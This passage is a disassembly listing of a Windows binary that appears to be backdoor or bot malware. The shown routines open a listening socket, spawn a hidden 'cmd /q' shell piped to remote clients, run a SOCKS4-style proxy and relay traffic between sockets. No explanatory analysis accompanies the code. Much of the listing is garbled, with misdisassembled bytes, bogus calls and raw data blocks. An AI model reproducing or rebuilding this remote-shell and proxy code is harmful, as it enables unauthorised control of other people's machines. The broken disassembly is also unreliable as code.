eax, edi mov dword_444134[ecx], eax jz short loc_410CE0 loc_410C8D: ; CODE XREF: sub_410B3D+15Dj cmp [ebp+var_20], edi jnz short loc_410C9C push 32h call dword_427064 ; Sleep jmp short loc_410C8D ; --------------------------------------------------------------------------- loc_410C9C: ; CODE XREF: sub_410B3D+153j mov ebx, 1000h loc_410CA1: ; CODE XREF: sub_410B3D+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4D1208 ; recv cmp eax, edi jle short loc_410CF3 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz short loc_410CA1 jmp short loc_410CF3 ; --------------------------------------------------------------------------- loc_410CE0: ; CODE XREF: sub_410B3D+14Ej call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C304 call sub_41581A pop ecx pop ecx loc_410CF3: ; CODE XREF: sub_410B3D+44j ; sub_410B3D+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_44412C[eax] call dword_4D1288 ; closesocket push [ebp+arg_0] call dword_4D1288 ; closesocket push [ebp+var_4] call sub_40B32A pop ecx push edi call near ptr 0B40000h retn 5E5Fh sub_410B3D endp ; --------------------------------------------------------------------------- pop ebx loc_410D24: ; DATA XREF: sub_410B3D+130o push ebp mov ebp, esp mov eax, 1128h call sub_41C1D0 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410D5B: ; CODE XREF: .nsp0:00410DA0j push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_444130[esi] call dword_4D1208 ; recv test eax, eax jle short loc_410DA2 push 0 push eax lea eax, [ebp-1128h] push eax push dword_44412C[esi] call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz short loc_410D5B loc_410DA2: ; CODE XREF: .nsp0:00410D85j push dword_444130[esi] call dword_4D1288 ; closesocket push dword ptr [ebp-14h] call sub_40B32A pop ecx push 0 ; --------------------------------------------------------------------------- db 0E8h, 42h, 0F2h ; --------------------------------------------------------------------------- jb short $+2 std pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_44412C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4D11D8 ; select test eax, eax jnz short near ptr loc_410E44+1 push dword ptr [esi] call dword_4D1288 ; closesocket push dword ptr [ebp+8] call sub_40B32A pop ecx push edi call near ptr 0B40000h loc_410E44: ; CODE XREF: .nsp0:00410E2Bj xchg dl, [edi-73h] inc ebp les edx, [ebx+50h] push dword ptr [esi] call dword_4D1208 ; recv lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call near ptr loc_410FC5+1 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call near ptr loc_410FC5+1 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call near ptr loc_410FC5+1 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4D1144 ; getpeername test eax, eax jz short near ptr loc_410EBD+1 call dword_4D1184 ; WSAGetLastError push eax push offset unk_43C41C call sub_41581A push dword ptr [ebp+8] call sub_40B32A add esp, 0Ch push edi call near ptr 0B40000h loc_410EBD: ; CODE XREF: .nsp0:00410E99j sbb al, 6Ah add cl, [ebp+46AE845h] push eax call dword_4D11A8 ; gethostbyaddr cmp eax, edi jnz short loc_410EE8 push dword ptr [ebp-18h] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-0B0h] push eax call sub_41BF36 jmp short loc_410EF6 ; --------------------------------------------------------------------------- loc_410EE8: ; CODE XREF: .nsp0:00410ECEj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C550 loc_410EF6: ; CODE XREF: .nsp0:00410EE6j pop ecx pop ecx push edi push ebx push offset byte_443398 push dword ptr [esi] call dword_4D1240 ; send cmp dword_4D3F58, edi jnz short near ptr loc_410F57+1 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_411020 add esp, 10h test eax, eax jnz short near ptr loc_410F57+1 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4D1240 ; send push dword ptr [esi] call dword_4D1288 ; closesocket push dword ptr [ebp+8] call sub_40B32A pop ecx push edi call near ptr 0B40000h loc_410F57: ; CODE XREF: .nsp0:00410F0Dj ; .nsp0:00410F2Ej test dword ptr [ebp-0AF7Bh], 458D50FFh aam 50h push offset unk_43C3E0 call sub_41581A push dword ptr [ebp+8] call sub_4112D7 add esp, 10h test eax, eax jnz short loc_410F9F call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C3B4 call sub_41581A push dword ptr [ebp+8] call sub_40B32A add esp, 0Ch push ebx call near ptr 0B40000h aas loc_410F9F: ; CODE XREF: .nsp0:00410F7Aj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_43C388 call sub_41581A push dword ptr [ebp+8] call sub_40B32A add esp, 10h push edi call near ptr 0B40000h loc_410FC5: ; CODE XREF: .nsp0:00410E5Bp ; .nsp0:00410E68p ... db 67h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp-1] push 1 push eax push dword ptr [ebp+8] call dword_4D1208 ; recv cmp eax, 1 jnz short loc_411016 mov esi, [ebp+0Ch] loc_410FE4: ; CODE XREF: .nsp0:00411007j mov al, [ebp-1] mov [esi], al inc esi dec dword ptr [ebp+10h] jz short loc_41100B test al, al jz short loc_41101A push 0 lea eax, [ebp-1] push 1 push eax push dword ptr [ebp+8] call dword_4D1208 ; recv cmp eax, 1 jz short loc_410FE4 jmp short loc_411016 ; --------------------------------------------------------------------------- loc_41100B: ; CODE XREF: .nsp0:00410FEDj push offset unk_43C448 call sub_41581A pop ecx loc_411016: ; CODE XREF: .nsp0:00410FDFj ; .nsp0:00411009j xor eax, eax jmp short loc_41101D ; --------------------------------------------------------------------------- loc_41101A: ; CODE XREF: .nsp0:00410FF1j push 1 pop eax loc_41101D: ; CODE XREF: .nsp0:00411018j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_411020 proc near ; CODE XREF: .nsp0:00410F24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_41104B push [esp+arg_4] push [esp+4+arg_0] push offset dword_43C474 call sub_41581A add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41104B: ; CODE XREF: sub_411020+11j push 1 pop eax retn sub_411020 endp ; --------------------------------------------------------------------------- byte_41104F db 55h ; DATA XREF: .nsp0:00403E86o dd 0EC81EC8Bh, 5A4h, 5608458Bh, 59786A57h, 0BD8DF08Bh dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h dd 26850FFh, 0FF000002h, 4D116015h, 3BF63300h, 501D74C6h dd 43C5E468h, 4784E800h, 75FF0000h, 0A28CE8B4h, 0C483FFFFh dd 59E8570Ch, 740072EFh, 12CD6857h, 4DE80041h, 0B80072EFh dd 2975C085h, 708C15FFh, 68500042h, 43C5A0h, 4751E8h, 0FF595900h dd 4D114815h, 0B475FF00h, 0FFA251E8h, 0E85759FFh, 72EF20h dd 106A531Eh, 56E0458Dh, 0AB52E850h, 0C4830000h, 45C7660Ch dd 0FF0002E0h, 15FFB075h, 4D11F0h, 6A57066Ah, 45896602h dd 0E47589E2h, 127015FFh, 0D88B004Dh, 0FFFFB83h, 13B84h dd 0B4458B00h, 0C069106Ah, 234h, 412C9889h, 458D0044h dd 0FF5350E0h, 4D121C15h, 0FC08500h, 11785h, 0FFFF6800h dd 0FF537FFFh, 4D121815h, 0FC08500h, 10385h, 0C5646800h dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 463Ah, 87D8959h dd 0C7FC458Dh, 10FC45h, 8D500000h, 5350CC45h, 128415FFh dd 0F88B004Dh, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh dd 0FF68086Ah, 570000FFh, 11D015FFh, 0F883004Dh, 0FC574FFh dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h, 50004D12h dd 0FBEC858Dh, 2068FFFFh, 500043C5h, 0AD65E8h, 0EC858D00h dd 50FFFFFBh, 45C9E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah dd 0FFFF9E22h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h dd 44412488h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 0DC16850h dd 458D0041h, 0FF5056F0h, 42707C15h, 0B84D8B00h, 234C969h dd 0C63B0000h, 41348189h, 13740044h, 0FC87539h, 0FFFF3785h dd 0FF326AFFh, 42706415h, 0FFEDEB00h, 42708C15h, 0E4685000h dd 0E80043C4h, 45C6h, 3EB5959h, 0FF087D8Bh, 4D118415h dd 858D5000h, 0FFFFFBECh, 43C4AC68h, 0C3E85000h, 830000ACh dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh, 858D50C0h dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF873Ah, 8D14C483h dd 0FFFBEC85h, 0FFE850FFh, 59000044h, 8815FF57h, 53004D12h dd 128815FFh, 15FF004Dh, 4D1148h, 0E8B475FFh, 0FFFFA066h dd 35E85659h, 0E20072EDh, 39C0335Bh, 0F042444h db 94h, 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112D7 proc near ; CODE XREF: .nsp0:00410F70p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411428 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_44412C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4115FA lea eax, [ebp+var_C] push ebx push eax call edi ; dword_42707C cmp eax, ebx mov [esi+10h], eax jnz short loc_411342 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C644 call sub_41581A or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41137C ; --------------------------------------------------------------------------- loc_411342: ; CODE XREF: sub_4112D7+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset loc_4116AC lea eax, [ebp+var_C] push ebx push eax call edi ; dword_42707C cmp eax, ebx mov [esi+14h], eax jnz short loc_411383 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C644 call sub_41581A pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 0B40000h inc eax loc_41137C: ; CODE XREF: sub_4112D7+69j xor eax, eax jmp loc_411423 ; --------------------------------------------------------------------------- loc_411383: ; CODE XREF: sub_4112D7+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 0B40000h xor ebp, [ebx] retn ; --------------------------------------------------------------------------- jz short loc_4113DD dec eax jz short loc_4113D7 dec eax jz short loc_4113C3 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C610 call sub_41581A pop ecx pop ecx jmp short loc_4113F2 ; --------------------------------------------------------------------------- loc_4113C3: ; CODE XREF: sub_4112D7+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi ; dword_4270AC push ebx push dword ptr [esi+10h] call edi ; dword_4270AC jmp short loc_4113F2 ; --------------------------------------------------------------------------- loc_4113D7: ; CODE XREF: sub_4112D7+D2j push ebx push dword ptr [esi+10h] jmp short loc_4113E1 ; --------------------------------------------------------------------------- loc_4113DD: ; CODE XREF: sub_4112D7+CFj push ebx push dword ptr [esi+14h] loc_4113E1: ; CODE XREF: sub_4112D7+104j call near ptr 0B40000h ; --------------------------------------------------------------------------- dw 6A8Fh dd 876FF01h, 72EC0FE8h db 0, 43h ; --------------------------------------------------------------------------- loc_4113F2: ; CODE XREF: sub_4112D7+EAj ; sub_4112D7+FEj push dword ptr [esi+10h] mov edi, dword_42706C call edi ; dword_42706C push dword ptr [esi+14h] call edi ; dword_42706C push dword ptr [esi+8] call edi ; dword_42706C push dword ptr [esi] call edi ; dword_42706C push dword ptr [esi+4] call edi ; dword_42706C push dword ptr [esi+0Ch] call dword_4D1288 ; closesocket push esi call sub_41B961 pop ecx push 1 pop eax loc_411423: ; CODE XREF: sub_4112D7+A7j pop edi pop esi pop ebx leave retn sub_4112D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411428 proc near ; CODE XREF: sub_4112D7+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BBCB mov esi, eax pop ecx cmp esi, edi jz loc_411512 mov ebx, dword_427100 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; dword_427100 mov edi, dword_42706C test eax, eax jnz short loc_41148B call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C6F4 jmp short loc_4114AB ; --------------------------------------------------------------------------- loc_41148B: ; CODE XREF: sub_411428+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; dword_427100 test eax, eax jnz short loc_4114B3 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C6B4 loc_4114AB: ; CODE XREF: sub_411428+61j call sub_41581A pop ecx jmp short loc_4114E1 ; --------------------------------------------------------------------------- loc_4114B3: ; CODE XREF: sub_411428+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411521 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; dword_42706C push [ebp+var_8] call edi ; dword_42706C cmp dword ptr [esi+8], 0 jnz short loc_411516 push offset unk_43C68C call sub_4157A6 loc_4114E1: ; CODE XREF: sub_411428+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4114ED push [ebp+var_4] call edi ; dword_42706C loc_4114ED: ; CODE XREF: sub_411428+BEj cmp [ebp+var_8], 0 jz short loc_4114F8 push [ebp+var_8] call edi ; dword_42706C loc_4114F8: ; CODE XREF: sub_411428+C9j mov eax, [esi] test eax, eax jz short loc_411501 push eax call edi ; dword_42706C loc_411501: ; CODE XREF: sub_411428+D4j mov eax, [esi+4] test eax, eax jz short loc_41150B push eax call edi ; dword_42706C loc_41150B: ; CODE XREF: sub_411428+DEj push esi call sub_41B961 pop ecx loc_411512: ; CODE XREF: sub_411428+1Dj xor eax, eax jmp short loc_41151C ; --------------------------------------------------------------------------- loc_411516: ; CODE XREF: sub_411428+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41151C: ; CODE XREF: sub_411428+ECj pop edi pop esi pop ebx leave retn sub_411428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411521 proc near ; CODE XREF: sub_411428+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BC40 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BC40 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270FC push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; dword_4270FC push eax push ebx call edi ; dword_4270FC push eax call near ptr 0B40000h int 8Dh ; used by BASIC while in interpreter inc ebp in al, dx push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 0B40000h pusha test eax, eax jz short loc_4115DD mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_444128[eax], ecx call dword_42706C ; CloseHandle jmp short loc_4115F3 ; --------------------------------------------------------------------------- loc_4115DD: ; CODE XREF: sub_411521+9Aj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43C734 call sub_41581A mov esi, [ebp+var_4] pop ecx pop ecx loc_4115F3: ; CODE XREF: sub_411521+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411521 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4115FA proc near ; DATA XREF: sub_4112D7+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411623: ; CODE XREF: sub_4115FA+8Fj call ebx ; dword_4270E8 test eax, eax jz short loc_41168B xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41165E loc_411634: ; CODE XREF: sub_4115FA+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41164E cmp dl, 0Dh jz short loc_41164E mov [ebp+eax+var_1B0], 0Dh inc eax loc_41164E: ; CODE XREF: sub_4115FA+44j ; sub_4115FA+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411634 loc_41165E: ; CODE XREF: sub_4115FA+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4D1240 ; send test eax, eax jle short loc_41168B lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411623 ; --------------------------------------------------------------------------- loc_41168B: ; CODE XREF: sub_4115FA+2Dj ; sub_4115FA+79j mov esi, dword_42708C call esi ; dword_42708C cmp eax, 6Dh jz short loc_4116A7 call esi ; dword_42708C push eax push offset unk_43C774 call sub_41581A pop ecx pop ecx loc_4116A7: ; CODE XREF: sub_4115FA+9Cj pop edi pop esi pop ebx leave retn sub_4115FA endp ; --------------------------------------------------------------------------- loc_4116AC: ; DATA XREF: sub_4112D7+71o push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+8] xor esi, esi mov [ebp-10h], ebx mov [ebp-0Ch], ebx loc_4116C5: ; CODE XREF: .nsp0:004116E5j ; .nsp0:00411783j ... push ebx lea eax, [ebp+0Bh] push 1 push eax push dword ptr [edi+0Ch] call dword_4D1208 ; recv test eax, eax jle loc_4117CA cmp [ebp-10h], ebx jbe short loc_4116E7 dec dword ptr [ebp-10h] jmp short loc_4116C5 ; --------------------------------------------------------------------------- loc_4116E7: ; CODE XREF: .nsp0:004116E0j mov al, [ebp+0Bh] movsx ecx, al cmp ecx, 0FFh jz loc_4117AA cmp al, 8 mov [ebp-0Ch], ebx jz short loc_411757 cmp al, 7Fh jz short loc_411757 cmp al, 3 jnz short near ptr loc_41170F+3 push ebx push ebx call near ptr 0B40000h loc_41170F: ; CODE XREF: .nsp0:00411706j mov al, ds:153C6CEBh jnz short loc_411734 xor esi, esi mov byte ptr [ebp-8], 20h mov byte ptr [ebp-7], 58h mov byte ptr [ebp-6], 58h mov byte ptr [ebp-5], 58h mov byte ptr [ebp-4], 0Dh mov byte ptr [ebp-3], 0Ah push 6 jmp short loc_41176A ; --------------------------------------------------------------------------- loc_411734: ; CODE XREF: .nsp0:00411714j mov [ebp+esi-0DCh], al inc esi push 1 cmp al, 0Dh mov [ebp-8], al pop ecx jnz short loc_41176B mov byte ptr [ebp+esi-0DCh], 0Ah mov byte ptr [ebp-7], 0Ah inc esi push 2 jmp short loc_41176A ; --------------------------------------------------------------------------- loc_411757: ; CODE XREF: .nsp0:004116FEj ; .nsp0:00411702j cmp esi, ebx jbe short loc_411781 dec esi mov byte ptr [ebp-8], 8 mov byte ptr [ebp-7], 20h mov byte ptr [ebp-6], 8 push 3 loc_41176A: ; CODE XREF: .nsp0:00411732j ; .nsp0:00411755j pop ecx loc_41176B: ; CODE XREF: .nsp0:00411744j push ebx lea eax, [ebp-8] push ecx push eax push dword ptr [edi+0Ch] call dword_4D1240 ; send test eax, eax jle short loc_4117CA mov al, [ebp+0Bh] loc_411781: ; CODE XREF: .nsp0:00411759j cmp al, 0Dh jnz loc_4116C5 lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-0DCh] push esi push eax push dword ptr [edi+4] call near ptr 0B40000h xor al, [ebp+332774C0h] imul cl sbb edi, edi ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4117AA: ; CODE XREF: .nsp0:004116F3j cmp [ebp-0Ch], ebx jnz short loc_4117BB mov dword ptr [ebp-0Ch], 1 jmp loc_4116C5 ; --------------------------------------------------------------------------- loc_4117BB: ; CODE XREF: .nsp0:004117ADj mov dword ptr [ebp-10h], 0Ah mov [ebp-0Ch], ebx jmp loc_4116C5 ; --------------------------------------------------------------------------- loc_4117CA: ; CODE XREF: .nsp0:004116D7j ; .nsp0:0041177Cj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4117CF: ; DATA XREF: .nsp0:004046FEo push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+8] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp-0D4h] push 2Ch mov [ebp-4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp-14h] push esi push eax call sub_41BC40 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-40h] call dword_4D11F0 ; ntohs push 6 push edi push 2 mov [ebp-12h], ax mov [ebp-10h], esi call dword_4D1270 ; socket mov edi, eax mov eax, [ebp-3Ch] imul eax, 234h push ebx mov dword_44412C[eax], edi lea eax, [ebp-14h] push eax push edi call dword_4D121C ; bind test eax, eax jnz loc_411971 push 0Ah push edi call dword_4D1218 ; listen test eax, eax jnz loc_411971 push dword ptr [ebp-40h] push dword ptr [ebp-0D4h] call sub_40AB6A pop ecx push eax lea eax, [ebp-2D4h] push offset dword_432588 push eax call sub_41BF36 add esp, 10h cmp [ebp-30h], esi jnz short loc_4118AA push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_4099D2 add esp, 14h loc_4118AA: ; CODE XREF: .nsp0:00411888j ; .nsp0:00411941j ... lea eax, [ebp-2D4h] push eax call sub_4157A6 pop ecx lea eax, [ebp-4] push eax lea eax, [ebp-24h] push eax push edi call dword_4D1284 ; accept push dword ptr [ebp-3Ch] mov ebx, eax movzx eax, word ptr [ebp-22h] push eax mov [ebp-28h], esi push dword ptr [ebp-20h] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-2D4h] push offset dword_43C820 push eax call sub_41BF36 push ebx lea eax, [ebp-2D4h] push 19h push eax call sub_40B00E mov [ebp-38h], eax imul eax, 234h mov ecx, [ebp-3Ch] add esp, 20h mov dword_444124[eax], ecx lea eax, [ebp+8] push eax lea eax, [ebp-0D4h] push esi push eax push offset loc_4119D4 push esi push esi call dword_42707C ; CreateThread mov ecx, [ebp-38h] imul ecx, 234h cmp eax, esi mov dword_444134[ecx], eax jz short loc_411951 loc_41193E: ; CODE XREF: .nsp0:0041194Fj cmp [ebp-28h], esi jnz loc_4118AA push 5 call dword_427064 ; Sleep jmp short loc_41193E ; --------------------------------------------------------------------------- loc_411951: ; CODE XREF: .nsp0:0041193Cj call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp-2D4h] push offset dword_43C7E4 push eax call sub_41BF36 add esp, 0Ch jmp loc_4118AA ; --------------------------------------------------------------------------- loc_411971: ; CODE XREF: .nsp0:0041184Aj ; .nsp0:0041185Bj push edi call dword_4D1288 ; closesocket push dword ptr [ebp-40h] lea eax, [ebp-2D4h] push offset dword_43C7B0 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4119B4 push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_4099D2 add esp, 14h loc_4119B4: ; CODE XREF: .nsp0:00411992j lea eax, [ebp-2D4h] push eax call sub_4157A6 push dword ptr [ebp-3Ch] call sub_40B32A pop ecx pop ecx push esi call near ptr 0B40000h wait pop edi pop esi pop ebx loc_4119D4: ; DATA XREF: .nsp0:0041191Eo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+8] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp-0C8h] rep movsd mov esi, [ebp-2Ch] push 1 mov [ebp+8], esi imul esi, 234h pop edi lea esi, dword_44412C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov dword ptr [ebp-8], 5 mov [ebp-5D0h], eax lea eax, [ebp-8] push eax push ebx lea eax, [ebp-5D4h] push ebx push eax push ebx mov [ebp-4], ebx mov [ebp-5D4h], edi call dword_4D11D8 ; select test eax, eax jnz short loc_411A55 push dword ptr [esi] call dword_4D1288 ; closesocket push dword ptr [ebp+8] call sub_40B32A pop ecx push ebx call near ptr 0B40000h cli loc_411A55: ; CODE XREF: .nsp0:00411A3Bj push ebx lea eax, [ebp-4D0h] push 408h push eax push dword ptr [esi] call dword_4D1208 ; recv test eax, eax jg short loc_411A86 push dword ptr [esi] call dword_4D1288 ; closesocket push dword ptr [ebp+8] call sub_40B32A pop ecx push ebx call near ptr 0B40000h push ebp loc_411A86: ; CODE XREF: .nsp0:00411A6Cj cmp byte ptr [ebp-4D0h], 4 jnz loc_411C80 cmp byte ptr [ebp-4CFh], 1 jnz loc_411C80 cmp [ebp-44h], bl jz short near ptr loc_411B1B+1 lea eax, [ebp-44h] push eax lea eax, [ebp-4C8h] push eax call sub_41C710 pop ecx test eax, eax pop ecx jz short near ptr loc_411B1B+1 lea eax, [ebp-44h] push eax lea eax, [ebp-4C8h] push eax push offset dword_43C8E8 call sub_41581A push 400h lea eax, [ebp-4C8h] push ebx push eax mov [ebp-4D0h], bl mov byte ptr [ebp-4CFh], 5Dh call sub_41BC40 add esp, 18h lea eax, [ebp-4D0h] push ebx push 8 push eax push dword ptr [esi] call dword_4D1240 ; send push dword ptr [esi] call dword_4D1288 ; closesocket push dword ptr [ebp+8] call sub_40B32A pop ecx push ebx call near ptr 0B40000h loc_411B1B: ; CODE XREF: .nsp0:00411AA3j ; .nsp0:00411AB9j mov eax, ds:458D106Ah call near ptr 19296B78h mov eax, ds:8B660000h test [edx], esi sti ; --------------------------------------------------------------------------- db 2 dup(0FFh), 83h dd 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah, 45C76602h dd 890002E8h, 15FFEC45h, 4D1270h, 0FF83F88Bh, 0FF5D75FFh dd 4D118415h, 0A8685000h, 0E80043C8h, 3CB2h, 40068h, 38858D00h dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0B9E85BFFh dd 830000A0h, 858D14C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh dd 4D1240h, 15FF36FFh, 4D1288h, 0E80875FFh, 0FFFF977Eh dd 4DE85359h, 1E0072E4h, 6AE8458Dh, 0FF575010h, 4D119815h dd 0FFF88300h, 15FF5D75h, 4D1184h, 0C8646850h, 43E80043h dd 6800003Ch, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 